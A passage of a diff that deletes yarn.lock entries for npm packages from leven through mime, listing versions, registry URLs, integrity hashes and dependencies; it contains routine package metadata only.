-  resolved "https://registry.yarnpkg.com/leven/-/leven-3.1.0.tgz#77891de834064cccba82ae7842bb6b14a13ed7f2"
-  integrity sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==
-
-levenary@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/levenary/-/levenary-1.1.1.tgz#842a9ee98d2075aa7faeedbe32679e9205f46f77"
-  integrity sha512-mkAdOIt79FD6irqjYSs4rdbnlT5vRonMEvBVPVb3XmevfS8kgRXwfes0dhPdEtzTWD/1eNE/Bm/G1iRt6DcnQQ==
-  dependencies:
-    leven "^3.1.0"
-
-levn@^0.3.0, levn@~0.3.0:
-  version "0.3.0"
-  resolved "https://registry.yarnpkg.com/levn/-/levn-0.3.0.tgz#3b09924edf9f083c0490fdd4c0bc4421e04764ee"
-  integrity sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=
-  dependencies:
-    prelude-ls "~1.1.2"
-    type-check "~0.3.2"
-
-liftoff@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/liftoff/-/liftoff-3.1.0.tgz#c9ba6081f908670607ee79062d700df062c52ed3"
-  integrity sha512-DlIPlJUkCV0Ips2zf2pJP0unEoT1kwYhiiPUGF3s/jtxTCjziNLoiVVh+jqWOWeFi6mmwQ5fNxvAUyPad4Dfog==
-  dependencies:
-    extend "^3.0.0"
-    findup-sync "^3.0.0"
-    fined "^1.0.1"
-    flagged-respawn "^1.0.0"
-    is-plain-object "^2.0.4"
-    object.map "^1.0.0"
-    rechoir "^0.6.2"
-    resolve "^1.1.7"
-
-lines-and-columns@^1.1.6:
-  version "1.1.6"
-  resolved "https://registry.yarnpkg.com/lines-and-columns/-/lines-and-columns-1.1.6.tgz#1c00c743b433cd0a4e80758f7b64a57440d9ff00"
-  integrity sha1-HADHQ7QzzQpOgHWPe2SldEDZ/wA=
-
-linkify-it@^2.0.0:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/linkify-it/-/linkify-it-2.2.0.tgz#e3b54697e78bf915c70a38acd78fd09e0058b1cf"
-  integrity sha512-GnAl/knGn+i1U/wjBz3akz2stz+HrHLsxMwHQGofCDfPvlf+gDKN58UtfmUquTY4/MXeE2x7k19KQmeoZi94Iw==
-  dependencies:
-    uc.micro "^1.0.1"
-
-load-json-file@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/load-json-file/-/load-json-file-1.1.0.tgz#956905708d58b4bab4c2261b04f59f31c99374c0"
-  integrity sha1-lWkFcI1YtLq0wiYbBPWfMcmTdMA=
-  dependencies:
-    graceful-fs "^4.1.2"
-    parse-json "^2.2.0"
-    pify "^2.0.0"
-    pinkie-promise "^2.0.0"
-    strip-bom "^2.0.0"
-
-load-json-file@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/load-json-file/-/load-json-file-2.0.0.tgz#7947e42149af80d696cbf797bcaabcfe1fe29ca8"
-  integrity sha1-eUfkIUmvgNaWy/eXvKq8/h/inKg=
-  dependencies:
-    graceful-fs "^4.1.2"
-    parse-json "^2.2.0"
-    pify "^2.0.0"
-    strip-bom "^3.0.0"
-
-load-json-file@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/load-json-file/-/load-json-file-4.0.0.tgz#2f5f45ab91e33216234fd53adab668eb4ec0993b"
-  integrity sha1-L19Fq5HjMhYjT9U62rZo607AmTs=
-  dependencies:
-    graceful-fs "^4.1.2"
-    parse-json "^4.0.0"
-    pify "^3.0.0"
-    strip-bom "^3.0.0"
-
-loader-fs-cache@^1.0.2:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/loader-fs-cache/-/loader-fs-cache-1.0.3.tgz#f08657646d607078be2f0a032f8bd69dd6f277d9"
-  integrity sha512-ldcgZpjNJj71n+2Mf6yetz+c9bM4xpKtNds4LbqXzU/PTdeAX0g3ytnU1AJMEcTk2Lex4Smpe3Q/eCTsvUBxbA==
-  dependencies:
-    find-cache-dir "^0.1.1"
-    mkdirp "^0.5.1"
-
-loader-runner@^2.4.0:
-  version "2.4.0"
-  resolved "https://registry.yarnpkg.com/loader-runner/-/loader-runner-2.4.0.tgz#ed47066bfe534d7e84c4c7b9998c2a75607d9357"
-  integrity sha512-Jsmr89RcXGIwivFY21FcRrisYZfvLMTWx5kOLc+JTxtpBOG6xML0vzbc6SEQG2FO9/4Fc3wW4LVcB5DmGflaRw==
-
-loader-utils@1.2.3:
-  version "1.2.3"
-  resolved "https://registry.yarnpkg.com/loader-utils/-/loader-utils-1.2.3.tgz#1ff5dc6911c9f0a062531a4c04b609406108c2c7"
-  integrity sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==
-  dependencies:
-    big.js "^5.2.2"
-    emojis-list "^2.0.0"
-    json5 "^1.0.1"
-
-loader-utils@^1.1.0, loader-utils@^1.2.3, loader-utils@^1.4.0:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/loader-utils/-/loader-utils-1.4.0.tgz#c579b5e34cb34b1a74edc6c1fb36bfa371d5a613"
-  integrity sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==
-  dependencies:
-    big.js "^5.2.2"
-    emojis-list "^3.0.0"
-    json5 "^1.0.1"
-
-loader-utils@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/loader-utils/-/loader-utils-2.0.0.tgz#e4cace5b816d425a166b5f097e10cd12b36064b0"
-  integrity sha512-rP4F0h2RaWSvPEkD7BLDFQnvSf+nK+wr3ESUjNTyAGobqrijmW92zc+SO6d4p4B1wh7+B/Jg1mkQe5NYUEHtHQ==
-  dependencies:
-    big.js "^5.2.2"
-    emojis-list "^3.0.0"
-    json5 "^2.1.2"
-
-locate-path@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-2.0.0.tgz#2b568b265eec944c6d9c0de9c3dbbbca0354cd8e"
-  integrity sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=
-  dependencies:
-    p-locate "^2.0.0"
-    path-exists "^3.0.0"
-
-locate-path@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-3.0.0.tgz#dbec3b3ab759758071b58fe59fc41871af21400e"
-  integrity sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==
-  dependencies:
-    p-locate "^3.0.0"
-    path-exists "^3.0.0"
-
-locate-path@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-5.0.0.tgz#1afba396afd676a6d42504d0a67a3a7eb9f62aa0"
-  integrity sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==
-  dependencies:
-    p-locate "^4.1.0"
-
-lodash._reinterpolate@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/lodash._reinterpolate/-/lodash._reinterpolate-3.0.0.tgz#0ccf2d89166af03b3663c796538b75ac6e114d9d"
-  integrity sha1-DM8tiRZq8Ds2Y8eWU4t1rG4RTZ0=
-
-lodash.clone@^4.3.2:
-  version "4.5.0"
-  resolved "https://registry.yarnpkg.com/lodash.clone/-/lodash.clone-4.5.0.tgz#195870450f5a13192478df4bc3d23d2dea1907b6"
-  integrity sha1-GVhwRQ9aExkkeN9Lw9I9LeoZB7Y=
-
-lodash.curry@^4.0.1:
-  version "4.1.1"
-  resolved "https://registry.yarnpkg.com/lodash.curry/-/lodash.curry-4.1.1.tgz#248e36072ede906501d75966200a86dab8b23170"
-  integrity sha1-JI42By7ekGUB11lmIAqG2riyMXA=
-
-lodash.debounce@^4.0.8:
-  version "4.0.8"
-  resolved "https://registry.yarnpkg.com/lodash.debounce/-/lodash.debounce-4.0.8.tgz#82d79bff30a67c4005ffd5e2515300ad9ca4d7af"
-  integrity sha1-gteb/zCmfEAF/9XiUVMArZyk168=
-
-lodash.defaults@^4.0.1, lodash.defaults@^4.2.0:
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/lodash.defaults/-/lodash.defaults-4.2.0.tgz#d09178716ffea4dde9e5fb7b37f6f0802274580c"
-  integrity sha1-0JF4cW/+pN3p5ft7N/bwgCJ0WAw=
-
-lodash.flatten@^4.2.0:
-  version "4.4.0"
-  resolved "https://registry.yarnpkg.com/lodash.flatten/-/lodash.flatten-4.4.0.tgz#f31c22225a9632d2bbf8e4addbef240aa765a61f"
-  integrity sha1-8xwiIlqWMtK7+OSt2+8kCqdlph8=
-
-lodash.flow@^3.3.0:
-  version "3.5.0"
-  resolved "https://registry.yarnpkg.com/lodash.flow/-/lodash.flow-3.5.0.tgz#87bf40292b8cf83e4e8ce1a3ae4209e20071675a"
-  integrity sha1-h79AKSuM+D5OjOGjrkIJ4gBxZ1o=
-
-lodash.memoize@^4.1.2:
-  version "4.1.2"
-  resolved "https://registry.yarnpkg.com/lodash.memoize/-/lodash.memoize-4.1.2.tgz#bcc6c49a42a2840ed997f323eada5ecd182e0bfe"
-  integrity sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4=
-
-lodash.merge@^4.4.0:
-  version "4.6.2"
-  resolved "https://registry.yarnpkg.com/lodash.merge/-/lodash.merge-4.6.2.tgz#558aa53b43b661e1925a0afdfa36a9a1085fe57a"
-  integrity sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==
-
-lodash.partialright@^4.1.4:
-  version "4.2.1"
-  resolved "https://registry.yarnpkg.com/lodash.partialright/-/lodash.partialright-4.2.1.tgz#0130d80e83363264d40074f329b8a3e7a8a1cc4b"
-  integrity sha1-ATDYDoM2MmTUAHTzKbij56ihzEs=
-
-lodash.pick@^4.2.1:
-  version "4.4.0"
-  resolved "https://registry.yarnpkg.com/lodash.pick/-/lodash.pick-4.4.0.tgz#52f05610fff9ded422611441ed1fc123a03001b3"
-  integrity sha1-UvBWEP/53tQiYRRB7R/BI6AwAbM=
-
-lodash.sortby@^4.7.0:
-  version "4.7.0"
-  resolved "https://registry.yarnpkg.com/lodash.sortby/-/lodash.sortby-4.7.0.tgz#edd14c824e2cc9c1e0b0a1b42bb5210516a42438"
-  integrity sha1-7dFMgk4sycHgsKG0K7UhBRakJDg=
-
-lodash.template@^4.4.0:
-  version "4.5.0"
-  resolved "https://registry.yarnpkg.com/lodash.template/-/lodash.template-4.5.0.tgz#f976195cf3f347d0d5f52483569fe8031ccce8ab"
-  integrity sha512-84vYFxIkmidUiFxidA/KjjH9pAycqW+h980j7Fuz5qxRtO9pgB7MDFTdys1N7A5mcucRiDyEq4fusljItR1T/A==
-  dependencies:
-    lodash._reinterpolate "^3.0.0"
-    lodash.templatesettings "^4.0.0"
-
-lodash.templatesettings@^4.0.0:
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/lodash.templatesettings/-/lodash.templatesettings-4.2.0.tgz#e481310f049d3cf6d47e912ad09313b154f0fb33"
-  integrity sha512-stgLz+i3Aa9mZgnjr/O+v9ruKZsPsndy7qPZOchbqk2cnTU1ZaldKK+v7m54WoKIyxiuMZTKT2H81F8BeAc3ZQ==
-  dependencies:
-    lodash._reinterpolate "^3.0.0"
-
-lodash.uniq@^4.3.0, lodash.uniq@^4.5.0:
-  version "4.5.0"
-  resolved "https://registry.yarnpkg.com/lodash.uniq/-/lodash.uniq-4.5.0.tgz#d0225373aeb652adc1bc82e4945339a842754773"
-  integrity sha1-0CJTc662Uq3BvILklFM5qEJ1R3M=
-
-"lodash@>=3.5 <5", lodash@^4.17.11, lodash@^4.17.12, lodash@^4.17.13, lodash@^4.17.14, lodash@^4.17.15, lodash@^4.17.19, lodash@^4.17.20, lodash@^4.17.21, lodash@^4.17.5:
-  version "4.17.21"
-  resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz#679591c564c3bffaae8454cf0b3df370c3d6911c"
-  integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==
-
-log-update@3.3.0:
-  version "3.3.0"
-  resolved "https://registry.yarnpkg.com/log-update/-/log-update-3.3.0.tgz#3b0501815123f66cb33f300e3dac2a2b6ad3fdf5"
-  integrity sha512-YSKm5n+YjZoGZT5lfmOqasVH1fIH9xQA9A81Y48nZ99PxAP62vdCCtua+Gcu6oTn0nqtZd/LwRV+Vflo53ZDWA==
-  dependencies:
-    ansi-escapes "^3.2.0"
-    cli-cursor "^2.1.0"
-    wrap-ansi "^5.0.0"
-
-loglevel@^1.6.8:
-  version "1.7.1"
-  resolved "https://registry.yarnpkg.com/loglevel/-/loglevel-1.7.1.tgz#005fde2f5e6e47068f935ff28573e125ef72f197"
-  integrity sha512-Hesni4s5UkWkwCGJMQGAh71PaLUmKFM60dHvq0zi/vDhhrzuk+4GgNbTXJ12YYQJn6ZKBDNIjYcuQGKudvqrIw==
-
-longest@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/longest/-/longest-1.0.1.tgz#30a0b2da38f73770e8294a0d22e6625ed77d0097"
-  integrity sha1-MKCy2jj3N3DoKUoNIuZiXtd9AJc=
-
-loose-envify@^1.0.0, loose-envify@^1.1.0, loose-envify@^1.2.0, loose-envify@^1.3.1, loose-envify@^1.4.0:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/loose-envify/-/loose-envify-1.4.0.tgz#71ee51fa7be4caec1a63839f7e682d8132d30caf"
-  integrity sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==
-  dependencies:
-    js-tokens "^3.0.0 || ^4.0.0"
-
-lower-case@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/lower-case/-/lower-case-2.0.2.tgz#6fa237c63dbdc4a82ca0fd882e4722dc5e634e28"
-  integrity sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==
-  dependencies:
-    tslib "^2.0.3"
-
-lru-cache@^5.1.1:
-  version "5.1.1"
-  resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-5.1.1.tgz#1da27e6710271947695daf6848e847f01d84b920"
-  integrity sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==
-  dependencies:
-    yallist "^3.0.2"
-
-lru-cache@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-6.0.0.tgz#6d6fe6570ebd96aaf90fcad1dafa3b2566db3a94"
-  integrity sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==
-  dependencies:
-    yallist "^4.0.0"
-
-ltgt@~2.2.0:
-  version "2.2.1"
-  resolved "https://registry.yarnpkg.com/ltgt/-/ltgt-2.2.1.tgz#f35ca91c493f7b73da0e07495304f17b31f87ee5"
-  integrity sha1-81ypHEk/e3PaDgdJUwTxezH4fuU=
-
-lz-string@^1.4.4:
-  version "1.4.4"
-  resolved "https://registry.yarnpkg.com/lz-string/-/lz-string-1.4.4.tgz#c0d8eaf36059f705796e1e344811cf4c498d3a26"
-  integrity sha1-wNjq82BZ9wV5bh40SBHPTEmNOiY=
-
-make-dir@^2.0.0, make-dir@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/make-dir/-/make-dir-2.1.0.tgz#5f0310e18b8be898cc07009295a30ae41e91e6f5"
-  integrity sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==
-  dependencies:
-    pify "^4.0.1"
-    semver "^5.6.0"
-
-make-dir@^3.0.2:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/make-dir/-/make-dir-3.1.0.tgz#415e967046b3a7f1d185277d84aa58203726a13f"
-  integrity sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==
-  dependencies:
-    semver "^6.0.0"
-
-make-iterator@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/make-iterator/-/make-iterator-1.0.1.tgz#29b33f312aa8f547c4a5e490f56afcec99133ad6"
-  integrity sha512-pxiuXh0iVEq7VM7KMIhs5gxsfxCux2URptUQaXo4iZZJxBAzTPOLE2BumO5dbfVYq/hBJFBR/a1mFDmOx5AGmw==
-  dependencies:
-    kind-of "^6.0.2"
-
-makeerror@1.0.x:
-  version "1.0.11"
-  resolved "https://registry.yarnpkg.com/makeerror/-/makeerror-1.0.11.tgz#e01a5c9109f2af79660e4e8b9587790184f5a96c"
-  integrity sha1-4BpckQnyr3lmDk6LlYd5AYT1qWw=
-  dependencies:
-    tmpl "1.0.x"
-
-mamacro@^0.0.3:
-  version "0.0.3"
-  resolved "https://registry.yarnpkg.com/mamacro/-/mamacro-0.0.3.tgz#ad2c9576197c9f1abf308d0787865bd975a3f3e4"
-  integrity sha512-qMEwh+UujcQ+kbz3T6V+wAmO2U8veoq2w+3wY8MquqwVA3jChfwY+Tk52GZKDfACEPjuZ7r2oJLejwpt8jtwTA==
-
-map-cache@^0.2.0, map-cache@^0.2.2:
-  version "0.2.2"
-  resolved "https://registry.yarnpkg.com/map-cache/-/map-cache-0.2.2.tgz#c32abd0bd6525d9b051645bb4f26ac5dc98a0dbf"
-  integrity sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8=
-
-map-visit@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/map-visit/-/map-visit-1.0.0.tgz#ecdca8f13144e660f1b5bd41f12f3479d98dfb8f"
-  integrity sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=
-  dependencies:
-    object-visit "^1.0.0"
-
-markdown-it@^10.0.0:
-  version "10.0.0"
-  resolved "https://registry.yarnpkg.com/markdown-it/-/markdown-it-10.0.0.tgz#abfc64f141b1722d663402044e43927f1f50a8dc"
-  integrity sha512-YWOP1j7UbDNz+TumYP1kpwnP0aEa711cJjrAQrzd0UXlbJfc5aAq0F/PZHjiioqDC1NKgvIMX+o+9Bk7yuM2dg==
-  dependencies:
-    argparse "^1.0.7"
-    entities "~2.0.0"
-    linkify-it "^2.0.0"
-    mdurl "^1.0.1"
-    uc.micro "^1.0.5"
-
-matchdep@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/matchdep/-/matchdep-2.0.0.tgz#c6f34834a0d8dbc3b37c27ee8bbcb27c7775582e"
-  integrity sha1-xvNINKDY28OzfCfui7yyfHd1WC4=
-  dependencies:
-    findup-sync "^2.0.0"
-    micromatch "^3.0.4"
-    resolve "^1.4.0"
-    stack-trace "0.0.10"
-
-md5.js@^1.3.4:
-  version "1.3.5"
-  resolved "https://registry.yarnpkg.com/md5.js/-/md5.js-1.3.5.tgz#b5d07b8e3216e3e27cd728d72f70d1e6a342005f"
-  integrity sha512-xitP+WxNPcTTOgnTJcrhM0xvdPepipPSf3I8EIpGKeFLjt3PlJLIDG3u8EX53ZIubkb+5U2+3rELYpEhHhzdkg==
-  dependencies:
-    hash-base "^3.0.0"
-    inherits "^2.0.1"
-    safe-buffer "^5.1.2"
-
-mdn-data@2.0.14:
-  version "2.0.14"
-  resolved "https://registry.yarnpkg.com/mdn-data/-/mdn-data-2.0.14.tgz#7113fc4281917d63ce29b43446f701e68c25ba50"
-  integrity sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==
-
-mdn-data@2.0.4:
-  version "2.0.4"
-  resolved "https://registry.yarnpkg.com/mdn-data/-/mdn-data-2.0.4.tgz#699b3c38ac6f1d728091a64650b65d388502fd5b"
-  integrity sha512-iV3XNKw06j5Q7mi6h+9vbx23Tv7JkjEVgKHW4pimwyDGWm0OIQntJJ+u1C6mg6mK1EaTv42XQ7w76yuzH7M2cA==
-
-mdurl@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/mdurl/-/mdurl-1.0.1.tgz#fe85b2ec75a59037f2adfec100fd6c601761152e"
-  integrity sha1-/oWy7HWlkDfyrf7BAP1sYBdhFS4=
-
-media-typer@0.3.0:
-  version "0.3.0"
-  resolved "https://registry.yarnpkg.com/media-typer/-/media-typer-0.3.0.tgz#8710d7af0aa626f8fffa1ce00168545263255748"
-  integrity sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=
-
-memdown@^1.0.0:
-  version "1.4.1"
-  resolved "https://registry.yarnpkg.com/memdown/-/memdown-1.4.1.tgz#b4e4e192174664ffbae41361aa500f3119efe215"
-  integrity sha1-tOThkhdGZP+65BNhqlAPMRnv4hU=
-  dependencies:
-    abstract-leveldown "~2.7.1"
-    functional-red-black-tree "^1.0.1"
-    immediate "^3.2.3"
-    inherits "~2.0.1"
-    ltgt "~2.2.0"
-    safe-buffer "~5.1.1"
-
-memory-fs@^0.4.1:
-  version "0.4.1"
-  resolved "https://registry.yarnpkg.com/memory-fs/-/memory-fs-0.4.1.tgz#3a9a20b8462523e447cfbc7e8bb80ed667bfc552"
-  integrity sha1-OpoguEYlI+RHz7x+i7gO1me/xVI=
-  dependencies:
-    errno "^0.1.3"
-    readable-stream "^2.0.1"
-
-memory-fs@^0.5.0:
-  version "0.5.0"
-  resolved "https://registry.yarnpkg.com/memory-fs/-/memory-fs-0.5.0.tgz#324c01288b88652966d161db77838720845a8e3c"
-  integrity sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA==
-  dependencies:
-    errno "^0.1.3"
-    readable-stream "^2.0.1"
-
-merge-deep@^3.0.2:
-  version "3.0.3"
-  resolved "https://registry.yarnpkg.com/merge-deep/-/merge-deep-3.0.3.tgz#1a2b2ae926da8b2ae93a0ac15d90cd1922766003"
-  integrity sha512-qtmzAS6t6grwEkNrunqTBdn0qKwFgNWvlxUbAV8es9M7Ot1EbyApytCnvE0jALPa46ZpKDUo527kKiaWplmlFA==
-  dependencies:
-    arr-union "^3.1.0"
-    clone-deep "^0.2.4"
-    kind-of "^3.0.2"
-
-merge-descriptors@1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/merge-descriptors/-/merge-descriptors-1.0.1.tgz#b00aaa556dd8b44568150ec9d1b953f3f90cbb61"
-  integrity sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=
-
-merge-options@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/merge-options/-/merge-options-2.0.0.tgz#36ca5038badfc3974dbde5e58ba89d3df80882c3"
-  integrity sha512-S7xYIeWHl2ZUKF7SDeBhGg6rfv5bKxVBdk95s/I7wVF8d+hjLSztJ/B271cnUiF6CAFduEQ5Zn3HYwAjT16DlQ==
-  dependencies:
-    is-plain-obj "^2.0.0"
-
-merge-stream@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/merge-stream/-/merge-stream-2.0.0.tgz#52823629a14dd00c9770fb6ad47dc6310f2c1f60"
-  integrity sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==
-
-merge2@^1.2.3, merge2@^1.3.0:
-  version "1.4.1"
-  resolved "https://registry.yarnpkg.com/merge2/-/merge2-1.4.1.tgz#4368892f885e907455a6fd7dc55c0c9d404990ae"
-  integrity sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==
-
-merkle-patricia-tree@^2.1.2, merkle-patricia-tree@^2.3.2:
-  version "2.3.2"
-  resolved "https://registry.yarnpkg.com/merkle-patricia-tree/-/merkle-patricia-tree-2.3.2.tgz#982ca1b5a0fde00eed2f6aeed1f9152860b8208a"
-  integrity sha512-81PW5m8oz/pz3GvsAwbauj7Y00rqm81Tzad77tHBwU7pIAtN+TJnMSOJhxBKflSVYhptMMb9RskhqHqrSm1V+g==
-  dependencies:
-    async "^1.4.2"
-    ethereumjs-util "^5.0.0"
-    level-ws "0.0.0"
-    levelup "^1.2.1"
-    memdown "^1.0.0"
-    readable-stream "^2.0.0"
-    rlp "^2.0.0"
-    semaphore ">=1.0.1"
-
-meros@^1.1.4:
-  version "1.1.4"
-  resolved "https://registry.yarnpkg.com/meros/-/meros-1.1.4.tgz#c17994d3133db8b23807f62bec7f0cb276cfd948"
-  integrity sha512-E9ZXfK9iQfG9s73ars9qvvvbSIkJZF5yOo9j4tcwM5tN8mUKfj/EKN5PzOr3ZH0y5wL7dLAHw3RVEfpQV9Q7VQ==
-
-methods@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/methods/-/methods-1.1.2.tgz#5529a4d67654134edcc5266656835b0f851afcee"
-  integrity sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=
-
-microevent.ts@~0.1.1:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/microevent.ts/-/microevent.ts-0.1.1.tgz#70b09b83f43df5172d0205a63025bce0f7357fa0"
-  integrity sha512-jo1OfR4TaEwd5HOrt5+tAZ9mqT4jmpNAusXtyfNzqVm9uiSYFZlKM1wYL4oU7azZW/PxQW53wM0S6OR1JHNa2g==
-
-micromatch@^3.0.4, micromatch@^3.1.10, micromatch@^3.1.4:
-  version "3.1.10"
-  resolved "https://registry.yarnpkg.com/micromatch/-/micromatch-3.1.10.tgz#70859bc95c9840952f359a068a3fc49f9ecfac23"
-  integrity sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==
-  dependencies:
-    arr-diff "^4.0.0"
-    array-unique "^0.3.2"
-    braces "^2.3.1"
-    define-property "^2.0.2"
-    extend-shallow "^3.0.2"
-    extglob "^2.0.4"
-    fragment-cache "^0.2.1"
-    kind-of "^6.0.2"
-    nanomatch "^1.2.9"
-    object.pick "^1.3.0"
-    regex-not "^1.0.0"
-    snapdragon "^0.8.1"
-    to-regex "^3.0.2"
-
-micromatch@^4.0.2:
-  version "4.0.4"
-  resolved "https://registry.yarnpkg.com/micromatch/-/micromatch-4.0.4.tgz#896d519dfe9db25fce94ceb7a500919bf881ebf9"
-  integrity sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==
-  dependencies:
-    braces "^3.0.1"
-    picomatch "^2.2.3"
-
-miller-rabin@^4.0.0:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/miller-rabin/-/miller-rabin-4.0.1.tgz#f080351c865b0dc562a8462966daa53543c78a4d"
-  integrity sha512-115fLhvZVqWwHPbClyntxEVfVDfl9DLLTuJvq3g2O/Oxi8AiNouAHvDSzHS0viUJc+V5vm3eq91Xwqn9dp4jRA==
-  dependencies:
-    bn.js "^4.0.0"
-    brorand "^1.0.1"
-
-mime-db@1.48.0, "mime-db@>= 1.43.0 < 2":
-  version "1.48.0"
-  resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.48.0.tgz#e35b31045dd7eada3aaad537ed88a33afbef2d1d"
-  integrity sha512-FM3QwxV+TnZYQ2aRqhlKBMHxk10lTbMt3bBkMAp54ddrNeVSfcQYOOKuGuy3Ddrm38I04If834fOUSq1yzslJQ==
-
-mime-types@^2.1.12, mime-types@~2.1.17, mime-types@~2.1.19, mime-types@~2.1.24:
-  version "2.1.31"
-  resolved "https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.31.tgz#a00d76b74317c61f9c2db2218b8e9f8e9c5c9e6b"
-  integrity sha512-XGZnNzm3QvgKxa8dpzyhFTHmpP3l5YNusmne07VUOXxou9CqUqYa/HBy124RqtVh/O2pECas/MOcsDgpilPOPg==
-  dependencies:
-    mime-db "1.48.0"
-
-mime@1.6.0, mime@^1.4.1:
-  version "1.6.0"
-  resolved "https://registry.yarnpkg.com/mime/-/mime-1.6.0.tgz#32cd9e5c64553bd58d19a568af452acff04981b1"
-  integrity sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==
-
-mime@^2.4.4:
-  version "2.5.2"
-  resolved "https://registry.yarnpkg.com/mime/-/mime-2.5.2.tgz#6e3dc6cc2b9510643830e5f19d5cb753da5eeabe"
